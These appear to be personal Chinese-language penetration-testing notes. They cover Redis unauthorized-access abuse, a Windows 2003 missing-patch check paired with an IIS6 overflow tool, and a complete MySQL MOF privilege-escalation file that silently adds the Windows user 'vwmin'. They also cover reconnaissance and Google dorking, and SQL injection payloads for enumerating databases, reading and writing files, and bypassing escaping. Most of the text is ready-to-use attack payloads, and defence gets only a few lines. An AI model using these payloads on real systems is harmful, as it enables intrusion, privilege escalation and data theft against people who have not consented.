渗透测试

 

记一些乱七八糟的东西

Redis未授权访问利用

理论上来说默认配置下的redis访问不需要密码(有密码也可能存在弱口令),任何主机都可以6379端口直接连接redis。连接后设置redis备份目录到 /root/.shh,并创建数据库文件名为 auhenticed_keys(大概),就可以通过redis的k-v,往里面写入一个公钥。保存了私钥的攻击者就能够通过ssh免密连接redis运行主机。

还原过程中遇到了两个问题。一,docker容器中运行的redis,在设置备份路径时始终permission denied,我试着进入容器内部,检查身份为root,然后用redis自带的redis-cli修改备份路径,然而报错同上。多次尝试未果,遂放弃。二,下载redis最新版本,改为直接运行后尝试脚本,发现最新的redis(至少对于直接运行在主机上的版本)已经默认设置为保护模式,只接受localhost,需要手动关闭。

问题。如果redis运行在docker中,那么就算拿下root也是容器的root,后续操作不明。

有意思的地方,docker -v参数可以将文件目录映射到容器中,那么可以直接映射 /etc/passwd/,这样就能提权了?

建议。修改redis.conf 禁掉 config命令等;设置密钥;设置访问ip白名单;

IIS6.exe溢出提权

主机cmd权限禁止时,上传一个cmd到可读可写的目录下,然后执行

针对Windows2003的代码

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB970483 KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt

其实就是

 查看未修补的补丁编号
               KB952004 MS09-012        PR    -pr.exe
               KB956572 MS09-012        巴西烤肉
               KB970483 MS09-020        IIS6溢出     -iis6.exe

如果存在 KB970483 not installed那就上传iis6.exe(其实就是一个该漏洞的利用工具),还是通过cmd,执行 iis6.exe command

注意:

远程连接需要guests用户组,需要对方开放端口,需要administrators组做更多操作

MySql提权–MOF

将以下代码保存为nullevt.mof

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user vwmin vwmin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

通过mysql查询将文件导入

select load_file('C:\...\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

信息收集

四大件

Wappalyzer chrome firfox插件,探测站点软件

如何判断网站服务器操作系统

大小写判断,Windows不区分大小写,Linux区分

判断网站脚本格式

后缀常见地能看出动态和静态;后缀html可能是静态也可能是动态;

判断网站数据库类型

扫描失败:端口修改、站库分离、内网服务器

SQL server:1433 MySQL:3306 oracle:1521

判断网站运行环境

response headerServer`字段

判断网站内容管理系统(cms)

平台:bugscaner.com; 工具:whatweb、御剑指纹识别(不太好嗷,需要字典累计)、cmsmap

搭建常见组合

php + mysql asp + access | mssql aspx mssql jsp mssql | oracle

域名

域名注册人信息收集

如题

子域名爆破

域传送漏洞
工具

dnsenum、layer子域名挖掘机、subDomainBrute、wydomain

如果目标网络使用CDN,如何绕过并找到IP段

超级ping – 有网络平台提供,

善用搜索引擎

收集域名和mail地址 工具theHarvester

搜索敏感文件、搜索管理后台、搜索mail、搜索敏感web路径… 参见

Google搜索基本语法

"" 完全匹配搜索,双引号内的内容不会被拆分

+ 关联性搜索,加号指定一个一定存在的关键此

- 去关联性搜索,减号指定一个一定不存在的关键词

| 存在性搜索,或两边的内容存在一个就会被显示出来

&关联性搜索,与两边的内容同时存在才会被显示出来

Goole搜索特殊语法

site:

搜索指定域名下的结果

作用:

  1. 可以针对目标做一个准确的信息收集
  2. 得到目标的子域名

inurl:

搜索结果的URL中一定含有后接关键词

一般用于批量搜索,比如批量找后台、找注入点、找指定漏洞目标站点、确定目标脚本语言等etc

intitle:

搜索结果标题中包含指定内容

批量搜索后台、寻找弱点网站

cache:

类似于百度的快照功能,用于搜索查看网站历史页面状况

IP

C段IP

主站无法渗透时尝试通过C段其他主机渗透再通过内网进行攻击

旁注

攻击同服务器的其他站点

SQL注入

获取字段数:order by x 取临界值

取得临界值后:union select 1,2,…,x

获取数据库名: database();

获取数据库版本:version();

获取当前数据库用户:user();

获取当前操作系统: @@version_compile_os

INFORMATION_SCHEMA

Information_schema MySQL5.0及以上版本自带的数据库,记录有当前MySQL下所有数据库名、表明、列名信息。

Information_schema.tables记录表名信息的表

Information_schema.columns记录所有列名的表

Table_name表名

Column_name列名

Table_schema数据库名

SELECT DISTINCT information_schema.TABLES.TABLE_SCHEMA FROM information_schema.TABLES``获取目标数据库所有库名

SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'blog'获取目标数据库目标库的所有表名

SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'blog' AND TABLE_NAME = 'article'获取目标数据库目标库目标表所有字段名

文件操作

load_file('filepath'); 读取文件

select '123' into outfile 'filepath'将123写入目标文件

以上操作均需读写权限(大概就是root)

防注入

php:magic_quotes_gpc=true (魔术引号)、addslashes() (安全函数) :再一些特殊符号,如单引号等前添加反斜杠

绕过,采用编码或宽字节

高权限跨库注入

情形:网站A无注入点,网站B存在注入点,且AB数据库为统一MySQL服务器、网站B拥有数据库root权限

杂项

and 1=(select * from eims_User FOR XML PATH('')) --似乎很好用的亚子

网站目录爬行 根据网站中出现的连接构建出站点目录结构